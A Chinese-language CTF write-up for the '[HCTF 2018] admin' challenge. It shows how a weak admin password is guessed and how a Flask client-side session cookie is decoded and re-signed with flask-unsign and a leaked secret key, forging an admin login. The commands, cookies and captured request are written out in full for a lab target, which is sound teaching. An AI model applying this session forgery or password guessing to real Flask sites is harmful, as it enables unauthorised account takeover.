首页 > 其他分享 >[HCTF 2018]admin

[HCTF 2018]admin

时间:2024-11-02 23:42:37浏览次数:4  
标签:admin image HCTF Flask session 2018 -- change

题目链接:https://buuoj.cn/challenges#[HCTF 2018]admin

打开题目后如下所示。

右上方有一个菜单,存在登陆模块,尝试使用 admin 登陆,对密码进行爆破,发现密码为 123,随即获得 flag。

但实际上,该题的真正考点并不是弱密码。

访问环境默认页面,在页面源代码处发现提示 "you are not admin"。

在注册了账户后,发现菜单中多了 "post" 与 "change" 功能,访问 "change" 页面,页面源代码如下。


<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>change</title>
    <link rel="stylesheet" href="//cdn.bootcss.com/semantic-ui/2.1.8/semantic.min.css">
    <link rel="stylesheet" href="/static/css/style.css">
    <script src="//cdn.bootcss.com/jquery/1.11.3/jquery.min.js"></script>
    <script src="//cdn.bootcss.com/semantic-ui/2.1.8/semantic.min.js"></script>
  </head>
  <body>
<div class="nav">
  <div class="ui grid">
    <div class="four wide column"></div>

    <div class="eight wide column">
      <a href="/posts"><h1>change</h1></a>
    </div>
  </div>
</div>
<div class="nav-setting">
  <div class="ui buttons">
    <div class="ui floating dropdown button">
      <i class="icon bars"></i>
      <div class="menu">
    
          <a class="item" href="/index">index</a>
          <div class="divider"></div>
          <a class="item" href="/edit">post</a>
          <a href="/change" class="item">change password</a>
          <a class="item" href="/logout">logout</a>
    
      </div>
    </div>
  </div>
</div>
<div class="ui grid">
  <div class="four wide column"></div>
  <div class="eight wide column">
  
  
  

  </div>
</div>

<div class="ui grid">
    <div class="four wide column"></div>
    <div class="eight wide column">
        <!-- https://github.com/woadsl1234/hctf_flask/ -->
      <form class="ui form segment" method="post" enctype="multipart/form-data">
        <div class="field required">
          <label>NewPassword</label>
          <input id="newpassword" name="newpassword" required type="password" value="">
        </div>
        <input type="submit" class="ui button fluid" value="更换密码">
      </form>
    </div>
  </div>  

<script type="text/javascript">
    $(document).ready(function () {
       // 点击按钮弹出下拉框
       $('.ui.dropdown').dropdown();
  
       // 鼠标悬浮在头像上,弹出气泡提示框
       $('.post-content .avatar-link').popup({
         inline: true,
         position: 'bottom right',
         lastResort: 'bottom right'
       });
     })
   </script>
   </body>
  </html>

发现,有一个 github 项目地址:https://github.com/woadsl1234/hctf_flask/(目前该项目已经打不开了)。

发现该项目名有 "flask" 字样,猜测后端使用的是 Python 的 Flask 框架。

在登录后,通过抓取网页请求包,可以发现 session 内容,如下。

GET /index HTTP/1.1
Host: cdea92f1-b4d3-4ee8-8851-674daf12f9ca.node5.buuoj.cn
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.155 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=.eJw9kEGLwjAQhf_KMmcPGtuL4GEhtVSYFCVtSS5Sa22bNC5UpTXif99ZWTwMDO-9-eDNEw7nob62sLoN93oGh-4Eqyd8HWEFqtgF2kVeeNHreO80rx7I9k55G9K-FLFaYixaNJYJ2Xghs1DLiCmWMOGTEH02arntFNu06Dat8FujjQpUQTqxlEk88ipAnreUM4Jlo3C7B5q8J_acuIGSmy79y8hq0jy3aYGUtzQ4prIhTjRhnK3hNYPqOpwPtx9bXz4VBO8d1QiRCZtKYVWxNan8ptPIK5-MyEnnfYu8mahmp3m2UOP6jetc2dQf0inuS_3vXEpHBpQn110WbAkzuF_r4f06WMzh9Qu60W4-.ZxxnVw.ZjcWyEbU7eP9g9FWNBP5qBoa5Pw
Connection: keep-alive


而 Flask 是非常轻量级的 Web 框架 ,其 session 存储在客户端中,也就是说其实只是将相关内容进行了加密保存到 session 中。和服务端的 session 不同,服务端的 session 保存在服务端中,依靠客户端 Cookie 值中的 sessionId 来进行识别。 也就是说,在本题中,可以通过更改 session 里面的用户名为 admin,实现伪造 admin 登录。

通过工具:Flask-Unsign(https://github.com/Paradoxis/Flask-Unsign)可以解密 session。

flask-unsign --unsign --cookie ".eJxNkMGKgzAQhl9lmXMPJtqL0JsaLEzEblSSS-laW43GBW2xTem7b9qFZQ8Dw_wf3zDzgP1pauYWwst0bVaw744QPuDjC0KQVR4oE1tu-aDYzqioviPdGWn7tet9zqSPjLeoe8rF2XJRrJWIqaQp5TZdoy0WJbadpEmLJmm53WqlZSArN3cuqVOLUR1gVLaO05wWCzf5HXU5OLfnvIEUSZe9GFHfVFT2WYWO713hkomz88Q3ZMUGniuo5-m0v3z3zfjvBGWUyMkLRRYvbh3JWEyyKPXRoMdtOWQs9dBioCqnZDnBfPPWdeZwbv5Mgib6c_lNxoNxARyOphsJ9WEF17mZ3q8D4sHzBzQebHM.ZxyA6w.Kcu4srF-pOmYR_3EvCbWTB7Qtcc"
[*] Session decodes to: {'_fresh': True, '_id': b'ad8fa373eddfd723dfc99d774f70ca296583559e16cb6729350e2bcaa2aa72cf68ae0d72b2307805ae2c7e06d225e4f4298a1b878171d5d9c8098030980d110e', 'csrf_token': b'affe459800a00758a58272c475e8b4338ec08d51', 'image': b'OacK', 'name': 'admin123', 'user_id': '10'}

但是将 name 设置为 "admin",并伪造 session 时,需要 key,笔者这里尝试了 Flask-Unsign 的默认字典进行爆破,失败了。查看了一下其他师傅的 writeup,发现 key 在已经失效了的 github 项目(https://github.com/woadsl1234/hctf_flask/)的源码里,因此这里直接给出 key:ckj123。

使用该 key 直接生成新的 session,并替换原请求包中的 session。

flask-unsign --sign --secret "ckj123" --cookie "{'_fresh': True, '_id': b'ad8fa373eddfd723dfc99d774f70ca296583559e16cb6729350e2bcaa2aa72cf68ae0d72b2307805ae2c7e06d225e4f4298a1b878171d5d9c8098030980d110e', 'csrf_token': b'affe459800a00758a58272c475e8b4338ec08d51', 'image': b'OacK', 'name': 'admin', 'user_id': '10'}"
.eJxNkMGKgzAQhl9lmbMHjfYi9KYGCxOxG5XkIl1r1di4oC22KX33Tbuw7GFgmP_jG2YeUJ_mdukhvMzX1oF6OEL4gI8vCEFUeSB1bJhhZ0n3WkbNHcleCzNubO8zKnykrEc1EsY7w3ixkTwmgqSEmXSDplgl3w2CJD3qpGdmp6QSgajs3LqESg1GTYBR2VtOMVKsTOd3VOXZul3rDQRPhuzF8OYmo3LMKrT8aAvXjHfWE9-QFlt4OtAs86m-fI_t9O8EqSXPvReKNF7tOi-jsZdFqY8aXWbKc0ZTFw0GsrJKmnuYb9-6QR-69s_ESaI-199kOmgbwOGohwkcuC7t_P4beC48fwDz1Gvd.ZxyEEQ.UI_jFH226ElVgBK8MEx-DfTU7HA

成功获得 flag。

标签:admin,image,HCTF,Flask,session,2018,--,change
From: https://www.cnblogs.com/imtaieee/p/18522720

相关文章

  • [护网杯 2018]easy_tornado
    题目链接:https://buuoj.cn/challenges#[护网杯2018]easy_tornado打开环境后如下所示。依次访问。这里需要留意一下url,在访问flag.txt时,发现url为:/file?filename=/flag.txt&filehash=f37c974391ee4a7bc4a23cc8987e0eed。尝试将filehash参数更改掉,发现被重定向到:/er......
  • SpringBootAdmin监控SpringBoot项目
    1、监控是一个非常重要的工作,是保障程序正常运行的基础手段2、监控的过程通过一个监控程序进行,它汇总所有被监控的程序的信息集中统一展示3、被监控程序需要主动上报自己被监控,同时要设置哪些指标被监控SpringBootAdmin,是一个开源社区项目,用于管理和监控SpringBoot应用程......
  • P4898 [IOI2018] seats 排座位
    题目链接主要算法:线段树(虚假的),奇技淫巧(真正的)思路:1.初步:考虑如何保证一个区间坐好后是一个矩形,有一个思路从另一个题中启示我们维护\(xmin,xmax,ymin,ymax\),但是这样无法保证在中间挖一个空的情况(有一个别的题解,可以染色后维护四个角和一个判框的东西),但我们觉得就算可以维......
  • [HCTF 2018]WarmUp
    题目链接:https://buuoj.cn/challenges#[HCTF2018]WarmUp打开环境后如下。查看页面源代码,发现存在提示"source.php"。<!DOCTYPEhtml><htmllang="en"><head><metacharset="UTF-8"><metaname="viewport"conte......
  • Goby 漏洞发布|Apache Solr /solr/admin/info/properties:/admin/info/key 权限绕过漏
    漏洞名称:ApacheSolr/solr/admin/info/properties:/admin/info/key权限绕过漏洞(CVE-2024-45216)EnglishName:ApacheSolr/solr/admin/info/properties:/admin/info/keyPermissionBypassVulnerability(CVE-2024-45216)CVSScore:7.3漏洞描述:ApacheSolr是一个开源搜索服......
  • Adobe Acrobat Pro 2024 v24.3.20180 (macOS, Windows) - 创建、转换和编辑 PDF
    AdobeAcrobatPro2024v24.3.20180(macOS,Windows)-创建、转换和编辑PDFAdobeAcrobatPDFsoftware请访问原文链接:https://sysin.org/blog/adobe-acrobat查看最新版。原创作品,转载请保留出处。作者主页:sysin.orgAcrobat:创建、转换和编辑PDF借助Acrobat实现各种......
  • 复现-SHCTF2024-week4-Crypto
    Crypto复现参考文献:2024-SHCTF-week4-wp-crypto|糖醋小鸡块的blog鸡块师傅真的太强了(膜拜*siDH就讲一下这题遇到的问题,鸡块师傅说的可能不是很清楚。这里先贴一下参考文献:前几天源鲁杯有一题,翻到最后就是,里面有讲数据的构造,和攻击思想微信公众平台(贴一下)Castryck-Dec......
  • 基于thinkphp+fastadmin+uniapp的单商户商城
    1、系统概述多平台的单商户多门店系统,支持微信公众号、微信小程序、h5网页、Android、IOS的购物商城,拥有强大灵活的店铺装修、自定义模板、多规格商品、运费模板、库存管理、全端分享等。2、技术栈thinkphpuniappvue3viterediselement-pluseasy-wechatmysql3、......
  • 2024-SHCTF Web WP
    [Week1]1zflask按照提示访问robots.txt,访问/s3recttt得到一个python文件在api路由传参,直接执行命令得到[email protected]('/api')defapi():cmd=request.args.get('SSHCTFF','ls/')result=os.popen(cmd).read()returnresult[Week1......
  • djangoadmin定时检查产品是否过期
    Django本身并没有内置的定时任务系统,但你可以使用Django的管理命令结合系统的cron来实现定时检查。这是一个简单且有效的方法,特别适合中小型项目。以下是实现步骤:创建自定义管理命令在你的Django应用目录下创建一个management/commands目录结构,然后在其中创建一个......